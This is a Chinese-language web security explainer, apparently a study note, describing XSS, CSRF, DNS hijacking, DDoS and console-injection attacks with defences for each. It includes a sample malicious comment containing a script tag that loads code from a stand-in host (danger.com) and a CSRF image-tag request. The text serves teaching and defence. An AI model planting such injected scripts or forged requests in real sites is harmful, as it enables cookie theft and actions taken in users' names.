XSS 和 CSRF 是 web 安全领域,最常见的攻击方式。

# 1. XSS(Cross Site Script)跨站脚本攻击

XSS攻击是指攻击者在网页上注入攻击脚本,从而获取用户的隐私数据(如:cookie、session等)。本质是恶意代码未经过滤,与网站正常的代码混在一起;浏览器无法分辨哪些脚本是可信的,导致恶意脚本被执行。

# 如何攻击

XSS攻击主要分为三种:存储型、反射型、DOM型

# 存储型

攻击步骤:

  1. 攻击者将恶意代码提交到目标网站的数据库中;
  2. 用户打开目标网站时,服务端从数据库中取出恶意代码,拼接在HTML中返回给浏览器;
  3. 浏览器接收到含有恶意代码的HTML并执行;
  4. 恶意代码窃取用户数据并发送给攻击者,或者冒充用户调用目标网站的接口,对目标网站执行指定的攻击。

这种攻击常见于带有用户保存数据的网站,这样攻击者才有机会将恶意代码提交到数据库,如论坛发帖、商品评论、用户私信等。

eg. 发表恶意评论,被存入数据库:

    质量非常不错!<script src="danger.com/spread.js"></script>

当页面读取并展示该评论时,就会加载并执行恶意代码。

# 反射型

攻击步骤:

  1. 攻击者构造出带有恶意代码的URL
  2. 用户打开带有恶意代码的URL时,服务端从URL中取出恶意代码,拼接在HTML中返回给浏览器;
  3. 浏览器接收到含有恶意代码的HTML并执行;
  4. 恶意代码窃取用户数据并发送给攻击者,或者冒充用户调用目标网站的接口,对目标网站执行指定的攻击。

这种攻击常见于通过URL传递参数的功能,如网站搜索、跳转等。
与存储型的区别在于:存储型的恶意代码在数据库中,而反射型的恶意代码在URL中。

# DOM型

攻击步骤:

  1. 攻击者构造出带有恶意代码的URL
  2. 用户打开带有恶意代码的URL时,浏览器从URL中取出恶意代码,并执行;
  3. 恶意代码窃取用户数据并发送给攻击者,或者冒充用户调用目标网站的接口,对目标网站执行指定的攻击。

这种攻击也是常见于通过URL传递参数的功能,如网站搜索、跳转等。
与存储型、反射型的区别在于:DOM型攻击是由浏览器取出恶意代码而非服务端取出,所以属于前端自身的安全漏洞,而另外两种属于服务端安全漏洞。

# 如何防范

  1. 前端输入校验 针对存储型,表单提交前进行校验,例如将<script>中的'<''>'转译成对应的ASCII码、使用xss校验模块js-xss等。
  2. 服务端输入过滤 由于攻击者可以通过直接构造请求,绕过前端过滤,所以,输入过滤通常放在服务端进行。
  3. 防止劫持cookie 服务端在响应报文的 Set-Cookie 字段中,添加 HttpOnly ,可禁止 js 获取cookie,从而阻止恶意代码劫持cookie。

# 2. CSRF(Cross Site Request Forgery)跨站请求伪造

攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的注册凭证,绕过后台的用户验证,达到冒充用户对被攻击的网站执行某项操作的目的。

# 如何攻击

攻击步骤:

  1. 用户登录a.com,并保留了登录凭证(cookie);
  2. 攻击者引诱用户访问b.com
  3. b.coma.com服务器发送一个请求:a.com/act=xx,浏览器会默认携带a.comcookie
  4. a.com服务端收到请求后,通过cookie验证,误以为用户身份有效;
  5. 攻击者冒用用户身份,成功的在目标网站执行了恶意代码。
    (CSRF通常是为了对目标服务器进行数据更新(例如转账)等操作,假设a.com网站用get请求实现数据更新,那么攻击者只需发送类似<img src="a.com/act=xx"/>这样的get请求即可实现攻击,而a.com网站使用post请求实现数据更新,就会增加攻击难度(需要模拟表单提交),这也说明了我们应该选用正确的请求方式实现相应http请求。另一方面,使用post请求实现数据更新,也为Cookie中设置SameSite字段防范CSRF攻击提供了可能)

# 如何防范

通过上述步骤可以发现CSRF的特点:

  1. 攻击发生在第三方域名;
  2. 攻击者没有获取用户的cookie信息,而只是冒用。

针对这两个特点,可以制定防范措施:

  1. 阻止不明域名的访问:
  • 同源检查(请求头中添加Origin字段 —— 注意 Origin 与 Referer,前者仅包含协议和域名,而后者是完整的 URI 存在安全隐患);
  • 利用Cookie中的SameSite字段限制第三方页面访问目标网站时携带Cookie,它有三个值:Strict-所有形式访问都不允许,Lax-仅部分Get形式请求允许(包括链接跳转、css加载请求、GET表单提交),None-关闭此限制。(因为通常数据更新操作都是post请求实现,所以仅允许get请求能拿到cookie,就可以避免伪造post请求实现攻击)
  1. 提交请求时附加本域名下才能获得的信息:token验证。(token存在localstorage中,由于同源限制,只有在本域名下才能获取)

# 3. DNS劫持

URL请求的第一步是DNS解析,获得ip地址后向对应服务器发起请求。而DNS劫持就是指在DNS解析过程中,使浏览器获取到错误的ip地址,从而诱导用户访问恶意网站,窃取用户信息。

要了解DNS劫持发生在哪些环节,就要清楚DNS解析经历哪些步骤:

  1. 查找浏览器DNS缓存;
  2. 查找操作系统DNS缓存、host配置;
  3. 查找路由器DNS缓存;
  4. 查找运营商本地服务器DNS缓存;
  5. 查找根域名——>顶级域名——>次级域名——>主机名,得到完整IP。(www.baidu.com.root)

# 如何劫持

  1. 本地DNS劫持:使用户电脑感染木马病毒或安装恶意软件后,恶意修改浏览器DNS缓存、操作系统DNS缓存、host配置等;
  2. 路由器DNS劫持:很多用户使用路由器的默认密码,攻击者可以侵入到路由管理员账号中,修改路由器的DNS缓存、默认DNS配置等;
  3. 攻击DNS服务器

# 如何防范

  1. 开启防火墙、安装杀毒软件;
  2. 增加路由器密码复杂度;
  3. 用HTTP DNS 代替 Local DNS,即让DNS查询绕过查找浏览器、操作系统、路由器等本地缓存。

# 4. DDoS攻击

称是 Distributed Denial of Service,翻译成中文就是分布式拒绝服务。是指对目标网站在较短的时间内发起大量请求,大规模消耗目标网站的主机资源,让它无法正常服务。

# 如何防范

  1. CDN加速,利用CDN较少直接访问服务器的请求数量;
  2. 设置黑名单,拒绝特定用户的访问;
  3. DDoS清洗,拒绝响应特定用户的请求(允许访问,但不响应)。

# 5. 其它常见网络安全

# 网络劫持攻击

攻击方式:攻击者利用代理服务器、路由器等中间件,截取http请求中的用户信息。
防范措施:Http请求加密。

# 控制台注入代码

攻击方式:诱导用户在控制台输入相关代码,从而获取用户cookie等信息。
防范措施:控制台友好提示用户不要在此操作。

最后更新时间: 6/17/2021, 8:13:14 PM